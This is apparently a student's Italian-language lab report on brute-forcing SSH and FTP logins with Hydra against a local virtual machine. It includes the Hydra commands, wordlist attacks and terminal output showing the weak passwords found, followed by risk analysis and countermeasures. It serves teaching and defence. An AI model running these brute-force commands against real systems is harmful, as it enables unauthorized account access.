

Valutazione della Sicurezza dei Servizi SSH e FTP tramite Hydra

Studente: Simone Santonico

Data:15/05/2026

1. Scopo del Test

Il presente report documenta un'attività di **penetration testing controllato** volta a:

- verificare la robustezza delle autenticazioni SSH e FTP;
- valutare l'impatto di password deboli;
- dimostrare l'efficacia di attacchi brute-force tramite Hydra;
- proporre contromisure per mitigare i rischi individuati.

L'intero test è stato eseguito in ambiente isolato e controllato.

2. Architettura e Ambiente

Componente	Dettagli
Sistema operativo	Kali Linux (rolling)
Virtualizzazione	VirtualBox
Rete	Host-Only – 192.168.56.0/24
Target	Kali stessa – 192.168.56.101
Servizi testati	SSH (22/tcp), FTP (21/tcp)
Strumenti	OpenSSH, vsftpd, Hydra, Seclists

3. Fase 1 — Valutazione del Servizio SSH

3.1 Configurazione del servizio

Avvio e verifica del servizio SSH:

```
sudo service ssh start  
sudo service ssh status
```

Il servizio risulta attivo sulla porta **22/tcp**.

3.2 Creazione utente dedicato

```
sudo adduser test_user
```

Password assegnata: **testpass**

3.3 Verifica accesso

```
ssh test_user@192.168.56.101
```

Accesso riuscito → il servizio è correttamente configurato.

3.4 Attacco Hydra su SSH

Test con credenziali note

```
hydra -l test_user -p testpass 192.168.56.101 ssh
```

Esito:

```
[22][ssh] host: 192.168.56.101  login: test_user  password: testpass
```

Valutazione

- Password debole → brute-force immediato.

- Nessun meccanismo di rate-limiting → rischio elevato.

4. Fase 2 — Valutazione del Servizio FTP

4.1 Installazione e avvio vsftpd

```
sudo apt install vsftpd  
sudo service vsftpd start  
sudo service vsftpd status
```

Il servizio risulta attivo sulla porta **21/tcp**.

4.2 Creazione utente FTP

```
sudo adduser ftp_user
```

Password assegnata: **ftppass**

4.3 Verifica accesso FTP

```
ftp 192.168.56.101  
Name: ftp_user  
Password: ftppass
```

Accesso riuscito → FTP operativo.

4.4 Attacco Hydra su FTP

Test con credenziali note

```
hydra -l ftp_user -p ftppass 192.168.56.101 ftp
```

Esito:

```
[21][ftp] host: 192.168.56.101 login: ftp_user password: ftppass
```

Test con wordlist (simulazione realistica)

Verifica wordlist disponibili:

```
ls /usr/share/seclists/Passwords/
```

Esecuzione Hydra con wordlist reale:

```
hydra -V \  
-L /usr/share/seclists/Username/xato-net-10-million-username.txt \  
-P /usr/share/seclists/Password/rockyou.txt \  
192.168.56.101 ftp
```

Risultato atteso:

Hydra individua la password se presente nella wordlist.

5. Analisi dei Rischi

5.1 Vulnerabilità rilevate

- Password deboli e facilmente brute-forzabili.
- Nessun blocco IP dopo tentativi falliti.
- Nessuna protezione da attacchi automatizzati.
- FTP non cifrato → credenziali in chiaro.

5.2 Impatto potenziale

- Accesso non autorizzato al sistema.
- Compromissione dei file tramite FTP.
- Possibile escalation di privilegi.
- Esposizione di dati sensibili.

6. Contromisure Raccomandate

SSH

- Utilizzare **chiavi SSH** al posto delle password.
- Disabilitare l'autenticazione password-based.
- Installare **fail2ban** per bloccare brute-force.

- Limitare l'accesso tramite firewall (UFW/iptables).
- Imporre password complesse tramite PAM.

FTP

- Evitare FTP in produzione → preferire **SFTP** o **FTPS**.
- Limitare gli utenti e applicare chroot jail.
- Abilitare fail2ban per vsftpd.
- Utilizzare password robuste e non presenti in wordlist comuni.

7. Conclusioni

Il test dimostra che:

- Sia SSH che FTP risultano vulnerabili quando utilizzano password deboli.
- Hydra è in grado di individuare rapidamente credenziali semplici.
- Senza misure di protezione, un attaccante può ottenere accesso completo al sistema.

L'implementazione delle contromisure indicate è essenziale per garantire un livello di sicurezza adeguato.

8. Stato Finale del Test

Servizi o	Esito	Vulnerabilità	Note
SSH	Password trovata	Password debole	Implementare chiavi SSH
FTP	Password trovata	Password debole	FTP non sicuro, usare SFTP

```
test_user@kali ~  
Session Actions Edit View Help  
May 15 07:04:42 kali sshd[3491]: Server listening on 0.0.0.0 port 22.  
May 15 07:04:42 kali sshd[3491]: Server listening on :: port 22.  
May 15 07:04:42 kali systemd[1]: Started ssh.service - OpenBSD Secure Shell server.  
[kali@kali]~  
$ ip a  
1: lo: LOOPBACK,UP,LOWER_UP,mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000  
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00  
    inet 127.0.0.1/8 scope host lo  
        valid_lft forever preferred_lft forever  
    inet6 ::1/128 scope host noprefixroute  
        valid_lft forever preferred_lft forever  
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP>mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:6a:ba:0b brd ff:ff:ff:ff:ff:ff  
    inet 192.168.56.12/24 brd 192.168.56.255 scope global dynamic noprefixroute eth0  
        valid_lft 86151sec preferred_lft 86151sec  
    inet6 fd17:625c:f037:2:235a:633f:90a:245d/64 scope global dynamic noprefixroute  
        valid_lft 86333sec preferred_lft 14533sec  
    inet6 fe80::36d6:fac9:bbb8:743b/64 scope link noprefixroute  
        valid_lft forever preferred_lft forever  
3: eth1: <BROADCAST,MULTICAST,UP,LOWER_UP>mtu 1500 qdisc fq_codel state UP group default qlen 1000  
    link/ether 08:00:27:6a:ba:0b brd ff:ff:ff:ff:ff:ff  
    inet 192.168.56.101/24 brd 192.168.56.255 scope global dynamic noprefixroute eth1  
        valid_lft 350sec preferred_lft 350sec  
    inet6 fe80::577d:57c7:366a:3576/64 scope link noprefixroute  
        valid_lft forever preferred_lft forever  
4: docker0: <NO-CARRIER,BROADCAST,MULTICAST,UP>mtu 1500 qdisc noqueue state DOWN group default  
    link/ether 42:2d:09:99:f8:9c brd ff:ff:ff:ff:ff:ff  
    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0  
        valid_lft forever preferred_lft forever  
[kali@kali]~  
$ ssh test_user@192.168.56.101  
The authenticity of host '192.168.56.101 (192.168.56.101)' can't be established.  
ED25519 key fingerprint is: SHA256:0C40713p0V7omVwLvg8vvekg/NhvXsdyhuidmU9Xg  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '192.168.56.101' (ED25519) to the list of known hosts.  
test_user@192.168.56.101's password:  
Permission denied, please try again.  
test_user@192.168.56.101's password:  
Linux kali 6.10.12-kali-amd64 #1 SMP PREEMPT_DYNAMIC Kali 6.10.12-1kali1 (2026-02-25) x86_64  
The programs included with the Kali GNU/Linux system are free software;  
the exact distribution terms for each program are described in the  
individual files in /usr/share/doc/*/copyright.  
Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent  
permitted by applicable law.  
[test_user@kali]~  
$
```

```
kali@kali ~  
Applications  
Session Actions Edit View Help  
Connected to 192.168.56.101.  
230 (vsftpd 3.0.2)  
Name (192.168.56.101:kali): ftp_user  
331 Please specify the password.  
Password:  
230 Login successful.  
Remote system type is UNIX.  
Using binary mode to transfer files.  
ftp> bye  
221 Goodbye.  
[kali@kali]~  
$ hydra -l ftp_user -P ftppass 192.168.56.101 ftp  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 07:30:50  
[DATA] max 1 task per 1 server, overall 1 task, 1 login try (1:1/p:1), ~1 try per task  
[DATA] attacking ftp://192.168.56.101:21/  
[21][ftp] host: 192.168.56.101 login: ftp_user password: ftppass  
1 of 1 target successfully completed, 1 valid password found  
hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-05-15 07:30:51  
[kali@kali]~  
$ hydra -V  
> -l /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \  
-P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt \  
192.168.56.101 ftp  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 07:32:25  
[ERROR] File for passwords not found: /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt  
[kali@kali]~  
$ hydra -V  
> -l /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt \  
-P /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt \  
192.168.56.101 ftp  
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these ** ignore laws and ethics anyway).  
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-05-15 07:32:40  
[ERROR] File for passwords not found: /usr/share/seclists/Passwords/xato-net-10-million-passwords-100000.txt  
[kali@kali]~  
$ ls /usr/share/seclists/Passwords/  
books clarkson-university-02.txt darkode.txt der-pastillon.txt Halware openwall-net-all.txt SCRAMBLER-hackerhouse.tgz stupid-ones-in-production.txt  
Common-Credentials days.txt HoneyPot-Captures months.txt Permutations scraped-WT-secrets.txt unknown-azul.txt  
corporate_passwords.txt Default-Credentials Leaked-Databases mysql-passwords-nanshu-guardicore.txt README.md seasons.txt Wi-Fi-WPA Wikipedia
```